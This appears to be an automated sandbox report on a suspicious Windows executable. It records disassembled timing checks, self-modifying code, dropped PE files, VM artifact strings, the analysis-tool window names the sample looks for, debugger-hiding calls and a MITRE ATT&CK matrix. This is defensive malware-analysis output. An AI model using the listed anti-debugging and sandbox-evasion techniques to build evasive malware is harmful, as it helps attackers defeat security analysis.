Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D30D7F second address: 4D30DC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F7F91348E36h 0x0000000f push eax 0x00000010 jmp 00007F7F91348E2Bh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F7F91348E30h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D30DC6 second address: 4D30DD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F87Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D30DD5 second address: 4D30E11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F7F91348E2Eh 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F7F91348E2Ah 0x0000001a rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D30E11 second address: 4D30E20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F87Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D30E20 second address: 4D30E34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7F91348E2Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D517DF second address: 4D517E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D517E5 second address: 4D517EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D517EA second address: 4D51825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F7F9153F87Ah 0x0000000a adc ch, FFFFFFF8h 0x0000000d jmp 00007F7F9153F87Bh 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push dword ptr [ebp+04h] 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F7F9153F885h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D9030E second address: 4D30D7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp dword ptr [7721155Ch] 0x0000000f mov edi, edi 0x00000011 push ebp 0x00000012 mov ebp, esp 0x00000014 mov ecx, dword ptr fs:[00000018h] 0x0000001b mov eax, dword ptr [ebp+08h] 0x0000001e mov dword ptr [ecx+34h], 00000000h 0x00000025 cmp eax, 40h 0x00000028 jnc 00007F7F91348E2Dh 0x0000002a mov eax, dword ptr [ecx+eax*4+00000E10h] 0x00000031 pop ebp 0x00000032 retn 0004h 0x00000035 test eax, eax 0x00000037 je 00007F7F91348E43h 0x00000039 mov eax, dword ptr [00432010h] 0x0000003e cmp eax, FFFFFFFFh 0x00000041 je 00007F7F91348E39h 0x00000043 mov esi, 0042F218h 0x00000048 push esi 0x00000049 call 00007F7F95C7824Dh 0x0000004e mov edi, edi 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 mov bl, 3Eh 0x00000055 mov eax, 34C6E0C5h 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D30A29 second address: 4D30A2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D30A2D second address: 4D30A8C instructions: 0x00000000 rdtsc 0x00000002 mov cx, 7C0Bh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F7F91348E37h 0x00000011 jmp 00007F7F91348E33h 0x00000016 popfd 0x00000017 mov si, ECBFh 0x0000001b popad 0x0000001c xchg eax, ebp 0x0000001d pushad 0x0000001e mov di, si 0x00000021 mov ax, E553h 0x00000025 popad 0x00000026 mov ebp, esp 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F7F91348E35h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D30A8C second address: 4D30AFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F7F9153F887h 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007F7F9153F889h 0x0000000f xor ax, 3526h 0x00000014 jmp 00007F7F9153F881h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov ecx, dword ptr [ebp+08h] 0x00000020 jmp 00007F7F9153F87Eh 0x00000025 sub eax, eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F7F9153F87Ch 0x0000002e rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D30AFC second address: 4D30B2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc eax 0x0000000a jmp 00007F7F91348E36h 0x0000000f lock xadd dword ptr [ecx], eax 0x00000013 pushad 0x00000014 mov si, 17EDh 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D904DD second address: 4D904E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D904E3 second address: 4D904E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D90F07 second address: 4D90F31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, F215h 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F7F9153F881h 0x00000012 xchg eax, ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov edi, 4C2B7E7Eh 0x0000001b mov eax, ebx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D90F31 second address: 4D90F57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov esi, 0B3BFE73h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F7F91348E35h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D90DFC second address: 4D90E00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D90E00 second address: 4D90E06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D90E06 second address: 4D90E0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D90E0C second address: 4D90E10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D90E10 second address: 4D90E1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D90E1E second address: 4D90E2F instructions: 0x00000000 rdtsc 0x00000002 mov edi, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov ebx, eax 0x00000008 popad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D90E2F second address: 4D90E34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D90E34 second address: 4D90E42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F91348E2Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D90E42 second address: 4D90E5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F87Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D90E5A second address: 4D90E5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D90E5E second address: 4D90E62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D90E62 second address: 4D90E68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D90E68 second address: 4D90E8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F87Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F7F9153F880h 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D90E8F second address: 4D90E95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Special instruction interceptor: First address: 81C719 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Special instruction interceptor: First address: 81C7CD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Special instruction interceptor: First address: 9B9B7F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Special instruction interceptor: First address: 9DF6EC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Special instruction interceptor: First address: A45DBD instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion			Jump to behavior

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe

Code function: 0_2_00A9AC94 rdtsc

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Window / User API: threadDelayed 1288			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Window / User API: threadDelayed 1612			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Window / User API: threadDelayed 1700			Jump to behavior

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wuBeweeRz\Y-Cleaner.exe			Jump to dropped file
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\dll[1]			Jump to dropped file
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\soft[1]			Jump to dropped file
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wuBeweeRz\Bunifu_UI_v1.5.3.dll			Jump to dropped file

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe TID: 4684	Thread sleep count: 54 > 30			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe TID: 4684	Thread sleep time: -108054s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe TID: 3664	Thread sleep count: 55 > 30			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe TID: 3664	Thread sleep time: -110055s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe TID: 5412	Thread sleep count: 210 > 30			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe TID: 5412	Thread sleep count: 167 > 30			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe TID: 5412	Thread sleep count: 112 > 30			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe TID: 400	Thread sleep count: 1288 > 30			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe TID: 400	Thread sleep time: -2577288s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe TID: 3300	Thread sleep count: 56 > 30			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe TID: 3300	Thread sleep time: -112056s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe TID: 5392	Thread sleep count: 1612 > 30			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe TID: 5392	Thread sleep time: -3225612s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe TID: 7120	Thread sleep count: 1700 > 30			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe TID: 7120	Thread sleep time: -3401700s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00415D07 FindFirstFileExW,		0_2_00415D07
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_10007EA9 FindFirstFileExW,		0_2_10007EA9
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_04B55F6E FindFirstFileExW,		0_2_04B55F6E

Source: 3K6rBUOQ2z.exe, 3K6rBUOQ2z.exe, 00000000.00000002.2702508722.0000000000998000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Amcache.hve.9.dr	Binary or memory string: VMware
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.9.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.9.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.9.dr	Binary or memory string: VMware20,1hbin@
Source: 3K6rBUOQ2z.exe, 00000000.00000002.2703382198.0000000001043000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: Amcache.hve.9.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.9.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.9.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: 3K6rBUOQ2z.exe, 00000000.00000002.2705531597.00000000055A9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.9.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.9.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.9.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.9.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.9.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.9.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.9.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.9.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.9.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.9.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.9.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.9.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.9.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.9.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.9.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.9.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.9.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: 3K6rBUOQ2z.exe, 00000000.00000002.2702508722.0000000000998000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Amcache.hve.9.dr	Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: Amcache.hve.9.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	File opened: NTICE
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	File opened: SICE
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe

Code function: 0_2_00A9AC94 rdtsc

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe

Code function: 0_2_0040C0B3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe

Code function: 0_2_00402950 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_3_04CF2A6F mov eax, dword ptr fs:[00000030h]		0_3_04CF2A6F
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_3_04CEE30D mov eax, dword ptr fs:[00000030h]		0_3_04CEE30D
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_0041366F mov eax, dword ptr fs:[00000030h]		0_2_0041366F
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_0040EF0D mov eax, dword ptr fs:[00000030h]		0_2_0040EF0D
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_10007A76 mov eax, dword ptr fs:[00000030h]		0_2_10007A76
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_10005F25 mov eax, dword ptr fs:[00000030h]		0_2_10005F25
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00F89D3B push dword ptr fs:[00000030h]		0_2_00F89D3B
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_04B40D90 mov eax, dword ptr fs:[00000030h]		0_2_04B40D90
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_04B538D6 mov eax, dword ptr fs:[00000030h]		0_2_04B538D6
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_04B4092B mov eax, dword ptr fs:[00000030h]		0_2_04B4092B
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_04B4F174 mov eax, dword ptr fs:[00000030h]		0_2_04B4F174

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe

Code function: 0_2_00402C70 SetLastError,SetLastError,SetLastError,GetNativeSystemInfo,VirtualAlloc,VirtualAlloc,VirtualAlloc,GetProcessHeap,HeapAlloc,VirtualFree,SetLastError,VirtualAlloc,

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_0040C0B3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_0040C0B3
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00409949 SetUnhandledExceptionFilter,		0_2_00409949
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00408ED5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_00408ED5
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_004097B2 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_004097B2
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_10002ADF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_10002ADF
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_100056A0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_100056A0
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_10002FDA IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_10002FDA
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_04B4913C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_04B4913C
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_04B49A19 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_04B49A19
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_04B49BB0 SetUnhandledExceptionFilter,		0_2_04B49BB0
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_04B4C31A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_04B4C31A

Source: 3K6rBUOQ2z.exe, 3K6rBUOQ2z.exe, 00000000.00000002.2702508722.0000000000998000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: -Program Manager

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe

Code function: 0_3_04CE8DB3 cpuid

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe

Code function: 0_2_00409BE5 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

Source: Amcache.hve.9.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: MsMpEng.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	3 Command and Scripting Interpreter	1 DLL Side-Loading	2 Process Injection	11 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	24 Virtualization/Sandbox Evasion	LSASS Memory	781 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
